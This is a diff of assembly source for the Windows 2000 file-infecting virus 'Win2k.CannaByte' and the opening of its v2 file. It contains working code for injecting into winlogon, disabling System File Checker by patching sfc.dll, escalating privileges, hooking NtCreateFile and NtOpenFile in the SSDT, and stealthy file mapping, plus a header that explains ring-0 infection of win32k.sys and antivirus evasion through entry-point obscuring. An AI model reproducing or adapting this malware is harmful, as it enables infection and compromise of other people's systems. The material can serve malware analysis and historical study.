+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +AttackWinlogon: + +push PAGE_READWRITE +push MEM_RESERVE or MEM_COMMIT +push evirus - svirus +push 0 +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,VirtualAllocExCRC,VANameLen +call eax + +or eax,eax +jz AttackWinlogonError +mov [ebp + WinlogonVirusBase],eax + +mov ecx,[ebp + NtKernel] +mov ebx,[ebp + WinlogonHand] +lea edx,[ebp + svirus] +mov esi,evirus - svirus +Writez ecx,ebx,eax,edx,esi +or eax,eax +jz AttackWinlogonError +push 0 +push 0 +lea eax,[ebp + Needed] +push eax;pointer to a variable to be passed to the thread function +mov eax,[ebp + WinlogonVirusBase] +add eax,WinlogonCode - svirus +push eax +push 0 ;stack size +push 0 +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,CreateRemoteThreadCRC,CRTNameLen +call eax +or eax,eax +jz AttackWinlogonError + +AttackWinlogonNoError: + +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +call eax +xor eax,eax +ret + +AttackWinlogonError: + +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +call eax +xor eax,eax +inc eax +ret + +WinlogonCode: + +;When i inject code to winlogon,i create a remote thread that will start execution here + +pop eax ;remove parameter passed +callz WinlogonCodeDoff +WinlogonCodeDoff: +pop ebp +sub ebp,offset WinlogonCodeDoff + +SfcDisable: + +lea eax,[ebp + sfc] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,LoadLibraryACRC,LLNameLen +call eax +or eax,eax +jz ErrorSfcDisable +mov [ebp + NtSfc],eax +mov esi,[eax + 3ch] +add esi,eax +;esi -> PE +movzx eax,word ptr [esi + 14h];size of optional +mov ecx,[eax + esi + 18h + 10h];size of section +mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll +add esi,dword ptr [ebp + NtSfc] + + +;esi -> code section + +SearchCodeToPatch: +pushad +lea edi,[ebp + CodeToSearch] +mov ecx,11 +rep cmpsb +popad +je CodeToPatchFound +inc esi +loop SearchCodeToPatch +jmpz ErrorSfcDisable + +CodeToPatchFound: +;now we patch code with a call to ExitThread +push esi +mov eax,[ebp + NtKernel] +GezApi eax,ExitThreadCRC,ETNameLen +pop esi +mov [ebp + PatchExitThreadDir],eax +push esi +;i unprotect the mem where i go to patch +;UnprotectMem +; eax -> base of kernel +; esi -> dir of memory that will be writable. +; ecx -> bytes of that memory. +; ebx -> handle of the process where is the memory.If 0 this process +mov eax,[ebp + NtKernel] +mov ebx,0 +mov ecx,_PatchCode - PatchCode +callz UnprotectMem +pop esi +mov edi,esi +lea esi,[ebp + PatchCode] +mov ecx,_PatchCode - PatchCode +PatchIt: +movsb +loop PatchIt + +ErrorSfcDisable: + +mov eax,[ebp + NtKernel] +GezApi eax,ExitThreadCRC,ETNameLen +push 0 +call eax + + +sfc db 'sfc.dll' +NtSfc dd 0 +CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h +PatchCode: +push 0 +mov eax,11111111h +PatchExitThreadDir equ dword ptr $ - 4 +call eax +_PatchCode: + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;MapFile ;it maps the file in _WIN32_FIND_DATA +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +MapFile: + +ChangeAttributesOfFile: +lea edi,[ebp + _WIN32_FIND_DATA.WFD_szFileName] +push 80h +push edi +mov eax,[ebp + NtKernel] +GezApi eax,SetFileAttributesACRC,SFANameLen +call eax +push 0 +push 0 +push 3 +push 0 +push 1 +push 0C0000000h ;read and write access to file +lea eax,[ebp + _WIN32_FIND_DATA.WFD_szFileName] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,CreateFileACRC,CFNameLen +call eax + + +inc eax +or eax,eax +jnz np1 + +ret +np1: +dec eax +mov [ebp + FileHandle],eax +push 0 +mov eax,[ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow] +push eax +push 0 +push 4 +push 0 +push dword ptr [ebp + FileHandle] +mov eax,[ebp + NtKernel] +GezApi eax,CreateFileMappingACRC,CFMNameLen +call eax + +or eax,eax +jz CloseFile +mov [ebp + MappingHandle],eax +push dword ptr [ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow] +push 0 +push 0 +push 000F001Fh ;access +push eax ;MappingHandle +mov eax,[ebp + NtKernel] +GezApi eax,MapViewOfFileCRC,MVFNameLen +call eax + +or eax,eax +jz CloseMapping +mov [ebp + ViewHandle],eax +ret +;;;;;;;;;;;;;;;;;;;;;; +CloseAll:;close file opened with MapFile + +mov eax,[ebp + NtKernel] +GezApi eax,UnmapViewOfFileCRC,UVFNameLen +push dword ptr [ebp + ViewHandle] +call eax + +CloseMapping: + +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +push dword ptr [ebp + MappingHandle] +call eax + +CloseFile: + +;RestoreAttributes: +lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastWriteTime] +push eax +lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastAccessTime] +push eax +lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftCreationTime] +push eax +push dword ptr [ebp + FileHandle] +mov eax,[ebp + NtKernel] +GezApi eax,SetFileTimeCRC,SFTNameLen +call eax + +mov eax,[ebp + NtKernel] +GezApi eax,CloseHandleCRC,CHNameLen +push dword ptr [ebp + FileHandle] +call eax + +push dword ptr [ebp + _WIN32_FIND_DATA.WFD_dwFileAttributes] +lea eax, [ebp+ _WIN32_FIND_DATA.WFD_szFileName] +push eax +mov eax,[ebp + NtKernel] +GezApi eax,SetFileAttributesACRC,SFANameLen +call eax + +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;PayloadRing0.This function is the payload of the virus in ring0. +;When win32k.sys is loaded a song starts in internal speaker. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +PayloadRing0: + +Do equ 600 +Re equ 674 ;(9/8) * Do ;1.125*Do +Mi equ 750 ;(5/4) * Do ;1.25*Do +Fa equ 798 ;(4/3) * Do ;1.33*Do +Sol equ 900 ;(3/2) * Do ;1.5*Do +La equ 996 ;(5/3) * Do ;1.66*Do +Si_ equ 1124;(15/8)* Do ;1.875*Do +Do2 equ 1220 +Zilence equ 1 + +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;; +cli +in al, 61h ;save byte in 61h +push ax +cli +;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;; +lea esi,word ptr [ebp + Song] +WhatIfGodSmokedCannabis: +lodsw +mov cx,ax +lodsw +mov dx,ax +or cx,cx +je EndSong +callz sound +jmpz WhatIfGodSmokedCannabis +EndSong: +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +callz Silence +pop ax ; Restore information byte in port 61h +out 61h, al +sti +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +popad +popfd +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +sound: ;cx = frec dl = duration in second(no more than 13 sec) +pushad +push dx +set_ppi: +mov al, 10110110b ; channel 2 +out 43h, al ; operation and mode 3 +set_freq: +cmp cx,Zilence +je IsASilence +mov dx,12h +mov ax,34dch +div cx ; data for frec in ax: 1234dch / (cx = frec) +out 42h, al +mov al, ah +out 42h, al +active_spk: +or al, 00000011b +out 61h, al +xor eax,eax +pop ax ;al = duration in sec +callz WaitX +popad +ret +IsASilence: +callz Silence +pop ax ;al = duration in sec +callz WaitX +popad +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +WaitX: ;eax = multiplicator < 19 +pushad +mov ecx,1500000h +VelAdjust equ dword ptr $ - 4 +mul ecx;*eax +mov ecx,eax +loop $ +popad +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +Silence: +pushad +in al, 61h +and al, 11111100b ; 0FCh put off speaker +out 61h, al +popad +ret +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +paystrings: +db "Win2k.CannaByte by Vallez for 29a",0dh +db "The name of this virus is CannaByte!!!",0dh +db "I hate avs changed viruses's names",0dh +db "Plz,no change the name of this ;)",0 +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;; +TitleSong: +db "What if god smoked cannabis?",0 +Song: +dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9 +dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4 +dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4 +dw Mi,15,Zilence,2,Mi,15,Zilence,2,Mi,6,Mi,6,Mi,6,Zilence,6 +dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,3 +dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,4 +dw Sol,6,La,6,Si_,9,Mi,12,Mi,9,Fa,6,Sol,6,Zilence,1 +dw Sol,6,Sol,6,Sol,6,Sol,6,Fa,6,Mi,6,Re,6,Do,18,Zilence,3 +dw Sol,9,Sol,9,Sol,9,Sol,9,Fa,9,Mi,9,Re,9,Do,18,0,0 +;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;touch_privilege: i got this function from Ratter/29a's document about infection of winlogon. +;The function enable a privilege for me,and ill use to enable SeDebugPrivilege for later ill +;be able to modify winlogon memory space. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +touch_privilege: + + mov ebx, ebp +touch_privilege_ proc near + local process_token:DWORD + local privilege_luid:QWORD + local token_privilegez:TOKEN_PRIVILEGES + + pushad + @SEH_SetupFrame + + xchg eax, edi + + call dword ptr [ebx+tGetCurrentProcess] + lea edx, [process_token] + push edx + push TOKEN_ADJUST_PRIVILEGES + push eax + call dword ptr [ebx+tOpenProcessToken] + dec eax + jnz touch_privilege_end + + lea edx, [token_privilegez.TP_luid] + push edx + push esi + push eax + call dword ptr [ebx+tLookupPrivilegeValueA] + dec eax + jnz touch_privilege_close_p_token + + push eax + push eax + push type(TOKEN_PRIVILEGES) + lea edx, [token_privilegez] + + push 1 + pop dword ptr [edx] + mov dword ptr [edx.TP_attribz], edi + + push edx + push eax + push dword ptr [process_token] + call dword ptr [ebx+tAdjustTokenPrivileges] + +touch_privilege_close_p_token: + push eax + push dword ptr [process_token] + call dword ptr [ebx+tCloseHandle] + pop eax +touch_privilege_end: + @SEH_RemoveFrame + mov dword ptr [esp.Pushad_eax], eax + popad + leave + retn + +touch_privilege_ endp + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;MapFileRing0 maps a file using kernel mode apis. As MapFile fuction for user +;mode, MapFileRing0 has a CloseAllRing0 function for saving changes and close handles +;MapFile get the name and directory handle from FileNameRing0 and RootDirectoryRing0 +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +MapFileRing0: + +pushad + +;objects_attributes struc +; oa_length dd ? ;lenght of this structure +; oa_rootdir dd ? +; oa_objectname dd ? ;name of the object +; oa_attribz dd ? ;attributes of the object +; oa_secdesc dd ? +; oa_secqos dd ? +;objects_attributes ends +; +;pio_status struc +; ps_ntstatus dd ? +; ps_info dd ? +;pio_status ends + +mov [ebp + FileAttributesRing0.oa_length],24 +mov eax,[ebp + RootDirectoryRing0] +mov [ebp + FileAttributesRing0.oa_rootdir],eax +lea eax,[ebp + FileNameRing0] +mov [ebp + FileAttributesRing0.oa_objectname],eax +mov dword ptr [ebp + FileAttributesRing0.oa_attribz],OBJ_CASE_INSENSITIVE +mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0 +mov dword ptr [ebp + FileAttributesRing0.oa_secqos],0 + +push FILE_OPEN_FOR_BACKUP_INTENT or \ + FILE_SYNCHRONOUS_IO_NONALERT or \ + FILE_NON_DIRECTORY_FILE ;OpenOptions +push FILE_SHARE_READ or \ + FILE_SHARE_WRITE ;Share access +lea eax,[ebp + io_statusRing0] +push eax +lea eax,[ebp + FileAttributesRing0] +push eax +push FILE_READ_DATA or\ + FILE_WRITE_DATA or\ + FILE_APPEND_DATA or\ + STANDART_RIGTHS_REQUIRED ;desired access + +lea eax,[ebp + FileHandRing0] +push eax +call dword ptr [ebp + ZwOpenFilez] ;I get a handle to the file + +test eax,eax +jne ErrorMappingRing0 + +mov eax,[ebp + FileHandRing0] +push eax +push SEC_COMMIT ;allocation attributes +push PAGE_READWRITE ;page protection +push 00000000h ;maximun size +push 00000000h ;objects attributes NULL +push SECTION_QUERY or \ + SECTION_MAP_WRITE or \ + SECTION_MAP_READ or \ + STANDART_RIGTHS_REQUIRED ;desired access +lea eax,[ebp + SectionHandRing0] +push eax +call dword ptr [ebp + ZwCreateSectionz] ;I get a handle to a created section +test eax,eax +je np1Ring0 +callz Close1Ring0 +jmpz ErrorMappingRing0 +np1Ring0: ;no problem getting section so continue +mov dword ptr [ebp + SectionBaseAddressRing0],0 +mov dword ptr [ebp + SectionOffsetRing0],0 +mov dword ptr [ebp + SectionOffsetRing0 + 4],0 +mov dword ptr [ebp + SectionViewSizeRing0],0 + +push 00000004h +push 00000000h +push 00000001h +lea eax,[ebp + SectionViewSizeRing0] +push eax +lea eax,[ebp + SectionOffsetRing0] +push eax +push 00000000h +push 00000000h +lea eax,[ebp + SectionBaseAddressRing0] +push eax +push 0FFFFFFFFh ;i specify the caller process,...i suppose thought im in ring0 this will + ;not give problems. +mov eax,[ebp + SectionHandRing0] +push eax +call dword ptr [ebp + ZwMapViewOfSectionz] ;I get a view of the section +test eax,eax +je NoErrorMappingRing0 +callz Close2Ring0 +jmpz ErrorMappingRing0 + + +NoErrorMappingRing0: +popad +mov eax,[ebp + SectionBaseAddressRing0] +ret + + +ErrorMappingRing0: +popad +xor eax,eax +ret + +;;;;;;;;;;;;;;;;;;;;;; +CloseAllRing0: + +Close3Ring0: + +push dword ptr [ebp + SectionBaseAddressRing0] +push 0FFFFFFFFh +call dword ptr [ebp + ZwUnmapViewOfSectionz] ;I unmap the view of the section + +Close2Ring0: + +push dword ptr [ebp + SectionHandRing0] +call dword ptr [ebp + ZwClosez] ;I close the hand to the section + +Close1Ring0: + +push dword ptr [ebp + FileHandRing0] +call dword ptr [ebp + ZwClosez] ;I close the hand to the file + +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;GetApisRing0 gets some apis coz we need to be fast when we r in the hook rutine,or the +;system will go slowly...We cant to be using all time GezApi +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +GetApisRing0: + +pushfd +pushad + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwUnmapViewOfSectionCRC,ZUVOSNameLen +mov [ebp + ZwUnmapViewOfSectionz],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwCloseCRC,ZCNameLen +mov [ebp + ZwClosez],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwMapViewOfSectionCRC,ZMVOSNameLen +mov [ebp + ZwMapViewOfSectionz],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwOpenFileCRC,ZOFNameLen +mov [ebp + ZwOpenFilez],eax + +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwCreateSectionCRC,ZCSNameLen +mov [ebp + ZwCreateSectionz],eax + +popad +popfd +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;DeleteWin32ksy will delete win32k.sy file if still not deleted +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +DeleteWin32ksy: +pushfd +pushad + +;From Ring3 part we have in Buffer system32 path in ansi string. We will use StringRing0 +;for creating a unicode string with win32k.sy name. + +lea edi,[ebp + StringRing0] + +lea esi,[ebp + StartUnicode] +mov ecx,8 +xor eax,eax +CopyStartUnicode: +movsb +loop CopyStartUnicode + +lea esi,[ebp + Buffer] +CalcLenString +push ecx +xor eax,eax +CopyPathSystem32: +movsb +stosb +loop CopyPathSystem32 + +mov al,'\' +stosb +xor eax,eax +stosb + +lea esi,[ebp + win32ksy] +CalcLenString +xor eax,eax +CopyFileNameWin32ksy: +movsb +stosb +loop CopyFileNameWin32ksy + +;we have in StringRing0 'pathsystem32\win32k.sy' + +pop ecx ;len of path of system32 in ansi +shl ecx,1 ;len in unicode +add ecx,28 ;len of that path + len of \??\ and win32k.sy name in ecx + +mov word ptr [ebp + FileNameRing0.us_Length],cx +mov word ptr [ebp + FileNameRing0.us_MaximumLength],cx +lea eax,[ebp + StringRing0] +mov [ebp + FileNameRing0.us_Buffer],eax + +;usually deletion of files is done with a specific call to NtSetInformationFile. With this +;call the file is deleted when last handle to it is closed. However ill use other +;undocumented api,ZwDeleteFile. With ZwDeleteFile the file is deleted without waiting +;last handle was closed. + +lea eax,[ebp + FileNameRing0] +mov dword ptr [ebp + FileAttributesRing0.oa_objectname],eax +mov dword ptr [ebp + FileAttributesRing0.oa_length] ,24 +mov dword ptr [ebp + FileAttributesRing0.oa_rootdir],0 +mov dword ptr [ebp + FileAttributesRing0.oa_attribz],40h +mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0h +mov dword ptr [ebp + FileAttributesRing0.oa_secqos] ,0h + +lea eax,dword ptr [ebp + FileAttributesRing0] +push eax +mov eax,[ebp + Ntoskrnl] +GezApi eax,ZwDeleteFileCRC,ZDFNameLen +call eax ;file must be deleted + +popad +popfd + +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;UnhookWhile and RehookAgain put off and put on the hook +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;NtCreateFileAddr +;NtOpenFileAddr +;NtCreateFileEntryAddr +;NtOpenFileEntryAddr + +;;;;;;;;;;;;;;;;;;;;;; +UnhookWhile: +;;;;;;;;;;;; +pushad +mov eax,[ebp + NtCreateFileAddr] +mov ebx,[ebp + NtCreateFileEntryAddr] +mov [ebx],eax +mov eax,[ebp + NtOpenFileAddr] +mov ebx,[ebp + NtOpenFileEntryAddr] +mov [ebx],eax +popad +ret +;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;; +RehookAgain: +;;;;;;;;;;;; +pushad +lea eax,[ebp + NtCreateFileHookRutine] +mov ebx,[ebp + NtCreateFileEntryAddr] +mov [ebx],eax +lea eax,[ebp + NtOpenFileHookRutine] +mov ebx,[ebp + NtOpenFileEntryAddr] +mov [ebx],eax +popad +ret +;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;Some Variables + +Needed dd 0 +NtKernel dd 0 +NtAdvapi dd 0 +NtPsapi dd 0 +NtRasapi dd 0 +Ntdll dd 0 +NtImagehlp dd 0 +advapi db 'advapi32.dll',0 +psapi db 'psapi.dll',0 +rasapi db 'rasapi32.dll',0 +imagehlp db 'imagehlp.dll',0 +win32ksys db 'win32k.sys',0 +win32ksy db 'win32k.sy',0 +win32kfuck db 'win32k.fuck',0 +StartUnicode db '\',0,'?',0,'?',0,'\',0 +WinlogonHand dd 0 +WinlogonID dd 0 +WinlogonModuleHand dd 0 +WinlogonModuleName db 50 dup(?) +WinlogonVirusBase dd 0 + +tAdjustTokenPrivileges dd 0 +tCloseHandle dd 0 +tLookupPrivilegeValueA dd 0 +tOpenProcessToken dd 0 +tGetCurrentProcess dd 0 + +CurDir db 256 dup(0) + +_WIN32_FIND_DATA WIN32_FIND_DATA ? + +FileHandle dd 0 +MappingHandle dd 0 +ViewHandle dd 0 +SearchHand dd 0 + +Buffer db 256 dup (?) +aux dd 0 + +EntryPointWin32ksys dd 0 +EntryPoint dd 0 + +KeServiceDescriptorTable dd 0 +Ntoskrnl dd 0 +SSDT dd 0 +NtCreateFileAddr dd 0 +NtOpenFileAddr dd 0 +NtCreateFileEntryAddr dd 0 +NtOpenFileEntryAddr dd 0 + +AttributesFileRing0 dd ? +CreateDispositionFileRing0 dd ? +CreateOptionsFileRing0 dd ? +FileNameRing0 unicode_string ? +StringRing0 dw 256 dup(0) +RootDirectoryRing0 dd 0 +FileAttributesRing0 objects_attributes ? +io_statusRing0 pio_status ? +FileHandRing0 dd ? +SectionHandRing0 dd ? +SectionOffsetRing0 dq 0 +SectionBaseAddressRing0 dd 0 +SectionViewSizeRing0 dd 0 + + +ZwMapViewOfSectionz dd 0 +ZwCreateSectionz dd 0 +ZwOpenFilez dd 0 +ZwUnmapViewOfSectionz dd 0 +ZwClosez dd 0 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +evirus: + +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +end start + +end diff --git a/LegacyWindows/Win2k.CannaByte.v2.asm b/LegacyWindows/Win2k.CannaByte.v2.asm new file mode 100644 index 00000000..afc53f31 --- /dev/null +++ b/LegacyWindows/Win2k.CannaByte.v2.asm @@ -0,0 +1,2939 @@ + +;win2k.CannaByte.v2 coded by (Super && vallez) +; +;IMPORTANT: THIS CODE IS ONLY FOR READ AND IF YOU WANT TEST IT. IM NOT RESPONSABLE IF YOU +;USE IT FOR BAD THINGS. IN ADDITION NOW THE VIRUS WILL INFECT WIN32K.SYS AND WILL HOOK +;THE APIS BUT IT WILL INFECT ONLY ZZZ.EXE FILE SO FOR IT WORKS FULLY IT MUST BE MODIFIED. +; +;When a infected file arrives to a system it will infect the system. +;The expansion method will be to intercept NtCreateFile and NtOpenFile in SSDT, +;and infect all files that will be opened. +;For that propose,the virus will try to go ring0 and intercept there system calls. +;For going to ring0 virus will infect win32k.sys and in the next restart the virus will +;be loaded in ring0. +;Ill no explain lot of more things here coz virus is very commented so its easily +;understandable. +;version 2 improvements: +; +;Cksum of win32k.sys calculated on the fly,without using apis. +; +;RING0 EPO infection: +; +; The virus will infect in this manner: it will copy itself in reloc section,however, +; it will take RVA of relocs. Then it will add a random offset from this RVA. In addition +; reloc pointer will be erased from data directory. Avs will not able to start the +; searching from a part of PE becoz the virus could be copied to any section and any +; offset in the section. In addition the vx will infect using EPO: +; The virus will search code section where entrypoint is there. It will calculate a random +; offset from the start of the section. The offset could be between instructions..without +; pointing a valid opcode. Here the super's theory comes: +; +; Super's Theory: +; +; When u jump a random number of bytes in a buffer of code its possible u will +; jump to a zone between instruction. For example: E8 11 22 33 44 its possible +; in a random jump you will stay pointing 11 or 22 instead instruction opcode E8. +; but its possible redrive ur pointer to opcodes doing a route over the code +; getting instruction lengths and adding them to your pointer, 16 times at max. +; Then u will be in opcodes sure. +; +; The theory was full tested and it works perfectly...x86 secrets :) +; +; Well,using the theory we can redrive our pointer to a valid opcode. From that +; opcode we will search a call, E8 XX XX XX XX. We will hook that call for +; giving the control the vx. +; +; This method could be very powerfull: avs cannot search the vx at a fixed offset +; and they cannot search the call at a fixed offset. They cannot start to search +; the vx from the end of the file, becoz the virus could be far of there. +; In big hosts they will need to read lot of bytes of the host for finding the vx. +; +; We are using length disassembler engine (lde32) by Z0mbie :) We love your engine. +; +; +; Problems with EPO: we are copying the vx to a offset from relocs start. In the previous +; version the virus infected more files, it had more space for infection. Now it will +; discard more files. However infected files will be more difficult to detect. +; +; +;Other improvements we would like to add with more time: +; +; Worm support: today internet is the battlefield for vx. Well,this is my opinion: +; infector viruses are powerful, becoz they are more difficult to be detected,coverall +; if they are using methods as EPO, poli/meta-morphism, cavity...and other powerful +; techniques. However internet is succulent for viruses, and a good virus must have +; internet support. A very powerful virus would have to combine both things, a +; good infection method, difficulting detection, and a fast expansion method,using +; internet. We want to add a worm part: +; The worm part will be in ring3 sending random files from the infected machine. These +; files will be infected by the hook in the ring0 vx part. +; +; Sfc disabling: now the virus is able to disable sfc in win2k using benny and ratter +; method. It would be interesting to add new methods for disabling sfc in all systems. +; No string searching for patching better. Im sure in the next zine new methods will +; appears, more generic methods,so it would be interesting to add them. +; +; Full stealth in memory and disk: we are in ring0 hooking NtCreateFile and NtOpenFile... +; why not a full stealth in disk for win32k.sys? no time now.. :( In the same manner +; we would like to add full stealth in memory. +; +; +;THX TO: +; +;-As always Xezaw :) my dear m3nt0r ;) (THE BEST m3nt0r) I must say u thx coz that lot of +;patience that u had haven with me :) im a "ceporro" (i dont know how to say this in +;english xDD) +;-My second dear m3nt0r :) Super. How its possible u know all things i ask u? O_O xDD +;-VirusBust :) a good friend who helped me a lot of too. +;-Morphine: the most likeable girl in the undernet :D and in the world too! ;D i adore to +;speak with u :) +;Remains, ring0 machine :) +;-Pato,Nigthmare,isotope,ViR[-_-],MrHangman,Oyzzo,bi0s,... My 